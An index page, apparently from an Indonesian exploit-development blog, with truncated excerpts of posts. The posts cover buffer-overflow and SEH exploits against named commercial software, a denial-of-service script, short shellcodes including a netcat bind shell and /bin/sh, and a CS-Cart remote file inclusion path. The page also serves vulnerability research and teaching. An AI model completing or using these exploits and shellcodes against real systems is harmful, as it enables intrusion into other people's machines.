Exploit Development Zahir Accounting Enterprise Plus 6 <= build 10b 0day Exploit Vulnerability Discovery Zahir Accounting adalah software akuntansi yang sangat banyak digunakan oleh tingkatan SOHO (Small Office Home Office) di Indonesia. Selain harganya yang terjangkau, Zahir memiliki fitur yang lebih dari cukup untuk menyelesaikan pencatatan akuntansi yang tanggung, dalam arti mampu menyisir tingkat menengah ke bawah dan juga mampu menghadapi tantangan akuntansi yang
Exploit Development CyberLink LabelPrint: Buffer Overflow It’s been a while since our last post about exploitation. This time, we try to explain a stack-based overflow onCyberlink LabelPrint [https://www.cyberlink.com/products/labelprint/overview_en_US.html?&r=1], a tool to assist in designing labels for CD / DVD covers. It is included in
Exploit Development ALLPlayer: Buffer Overflow (SEH Unicode) After playing around with unicode stack overflow, I try to do it on an application called AllPlayer. The techniques used are not much different, so the result will be the same as the previous exploits [https://www.google.co.id/search?q=allplayer+site%3Aexploit-db.com&oq=allplayer+site%
Exploit Development CyberLink Power2Go: Unicode Stack Overflow The proof of concept of the vulnerability has been released on 9 December 2011, and no further announcement from CyberLink. I tried to coordinate the issue until they didn’t contact me anymore. A week after our last email, they updated the product, and yes it’s Power2Go 8. How
Exploit Development BlazeVideo HDTV Player 6.x Buffer Overflow (another version) Hi again, we tried to make a universal DEP and ASLR bypass version on BlazeVideo HDTV Player 6.x. This exploit is already public, but we just want to make it universal. Take a look at mona.py [https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/] ? awesome tool
Exploit Development ScriptFTP <=3.3 Remote Buffer Overflow Exploit (MSF) You might be read about the previous post ScriptFTP Remote BOF [http://www.spentera.com/2011/09/scriptftp-3-3-remote-buffer-overflow-exploit-0day/] , if you are a Metasploit user, you can add this exploit module [http://www.exploit-db.com/exploits/17904/] to your Metasploit Framework. Update: Metasploit has released module for ScriptFTP. You can use
Exploit Development Porting Your Exploit to Metasploit [http://www.metasploit.com]Beberapa waktu yang lalu saya udah memberikan tutorial basic exploit development (direct return technique) [http://www.scribd.com/doc/50645626/Exploit-Development-Basic-Stack-based-Overflow] dan exploit development berbasis SEH [http://www.spentera.com/2011/09/seh-based-stack-overflow-the-basic/]. Sekarang mari kita porting exploit tersebut ke Metasploit Framework agar exploit tersebut semakin
Exploit Development SEH Based Stack Overflow - The Basic Kali ini saya akan coba tehnik lain dari stack overflow, yaitu stack overflow berbasis SEH. Apa itu SEH? silakan dibaca diliteratur-literatur berikut: Structured Exception Handling [http://msdn.microsoft.com/en-us/library/ms680657(v=vs.85).aspx] Win32 Exception handling for assembler programmers [http://win32assembly.online.fr/Exceptionhandling.html] Tidak ada
Exploit Development Mel0nPlayer 1.0.11.x Denial of Service POC Software Description Mel0n Player is a famous software in Indonesia to play songs that are provided by the Melon portal (http://www.melon.co.id). This software can play any music file types such as mp3, wav, wma, mp4, and others. This player can also play the files on your
Exploit Development Some Documents of File Specifications/Formats Here are some documents to help you understand some file formats/headers, for file format fuzzing purpose: WAVE PCM soundfile format (RIFF) https://ccrma.stanford.edu/courses/422/projects/WaveFormat/ ZIP File format specification http://www.pkware.com/documents/casestudies/APPNOTE.TXT MPEG File format http://www.mpgedit.org/mpgedit/
Exploit Development FTPGetter v3.58.0.21 Buffer Overflow (PASV) Exploit A vulnerability has been discovered in FTPGetter, which can be exploited by malicious people to compromise a user’s system. The issue is likely due to insufficient bounds checking and presents itself when the affected FTP client makes a connection to a malicious server that is running PASV mode. The
Exploit Development HttpBlitz Web Server Denial Of Service Exploit HttpBlitz Server is prone to a remote denial-of-service vulnerability. Attackers can exploit this issue to cause the application to crash, denying service to legitimate users. #!/usr/bin/python # Title: HttpBlitz DOS # Date: 12/24/2010 # Author: otoy # Software Link: http://sourceforge.net/projects/httpblitz/files/HttpBlitz.msi/download # Tested on:
Exploit Development 27 Bytes - Windows XP SP3 (en) calc win32 Shellcode /* ========================================================================== ___ _ __ __ __ _ __ ____/ (_)___ _(_) /_____ _/ / ___ _____/ /_ (_)___/ /___ ____ _ / __ / / __ `/ / __/ __ `/ /_____/ _ / ___/ __ / / __ / __ / __ `/ / /_/ / / /_/ / / /_/ /_/ / /_____/ __/ /__/ / / / / /_/ / / / / /_/ / __,_/_/__, /_/__/__,_/_/ ___/___/_/ /_/_/__,_/_/ /_/__,_/ /____/ http://www.digital-echidna.org ========================================================================== Title : Window
Exploit Development 53 bytes - Windows XP SP3 (en) notepad.exe win32 Shellcode Finally, my first win32 shellcode.. This will execute notepad.exe when loaded. Run on Windows XP SP3 English. /* (o_Ov) say hello to all digital-echidna org crew: otoy, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix special thx to offsec, exploit-db, and corelan team */ /*shellcodetest.c*/ char code[] = "\x31\xc0\
Tutorials A polymorphic shellcode maker /* A polymorphic shellcode maker original prorgam created by Rizki Wicaksono(http://www.ilmuhacking.com) i add some functions to make it more interesting, i add "sub,add" functions beside the original xor into decoder otoy(http://otoyrood.wordpress.com) 0x82010 */ #include <sys/time.h> #include <
Exploit Development Find DLL Hijacking Flaws with DLLHijackAuditKit v2 Metasploit has released DLLHijackAuditKit v2 to determine DLL vulnerabilities that still existing in the wild. This tool will scan possible DLL vulnerability and log the result to CSV file. DLLHijackAuditKit v2 can also make a PoC (will try to hijack the DLL and running calc.exe, of course this is
Exploit Development 86 Bytes – Polymorphic "netcat bindport 55155" Shellcode /* Name : 86 bytes "polymorphic - netcat bindport 55155" Info : this shellcode create a bindport 55155 with netcat Author : otoy Blog : http://otoyrood.wordpress.com Date : August 2010 Tested on: ubuntu 8.04 & Backtrack 4 */ #include <stdio.h> char shellcode[] = "\xeb\x13\x5e\x31\xc9\
Exploit Development 28 Bytes “/bin/sh” Shellcode (for bof exploit) /* Name : 28 bytes "/bin/sh" shellcode - execve(/bin/sh,[/bin/sh,null,null],null) Info : A woking shellcode for bof exploit Author : otoy Blog : http://otoyrood.wordpress.com Date : August 2010 Tested on: ubuntu 8.04 & Backtrack 4 */ #include <stdio.h> char shellcode[] = "
Exploit Development 20 Bytes “/bin/sh” Shellcode Akhirnya… Shellcode pertama… ? /* Name : 20 bytes "/bin/sh" shellcode - execve(/bin/sh,..,..) Info : this shell workout without zeroing registers it used first (eax,ebx,ecx) Author : otoy Blog : http://otoyrood.wordpress.com Date : August 2010 Tested on: ubuntu 8.04 & Backtrack 4 */ #include <stdio.h&
Exploit Development Egg Hunter Apa sih..?? berburu telur paskah…?? heemm… egghunter adalah salah satu tehnik yang digunakan dalam pembuatan exploit. Ada kalanya ketika kita menulis sebuah exploit, kita berhadapan dengan “ruang” yang sempit untuk memasukan shellcode yang kita miliki, untuk mengakali sempitnya “ruang” tersebut, kita bisa menggunakan tehnik egghunter untuk mengeksekusi(loncat ke) shellcode
Exploit Development Batch Audio Converter <=1.0.0 Stack Overflow SEH Kebetulan sedang mencari aplikasi yang bisa diotak-atik untuk bermain SEH exploitation, saya menemukan aplikasi Batch Audio Converter [http://software.um.ac.id/?p=1942] (kemungkinan sudah mati websitenya) dan berhasil di eksploitasi dengan sukses melalui tehnik SEH Overflow (tulisan mengenai SEH secara jelas bisa dilihat di situs Peter Van Eeckhoutte
Exploit Development PHP include exploitation with Metasploit Metasploit support for PHP Include exploitation, or simply known as RFI (Remote File Inclusion). I will show you how this work on CS-Cart 1.3.3 which vulnerable to remote file inclusion [http://secunia.com/advisories/20440]. The vulnerable path is at classes/phpmailer/class.cs_phpmailer.php?classes_dir=
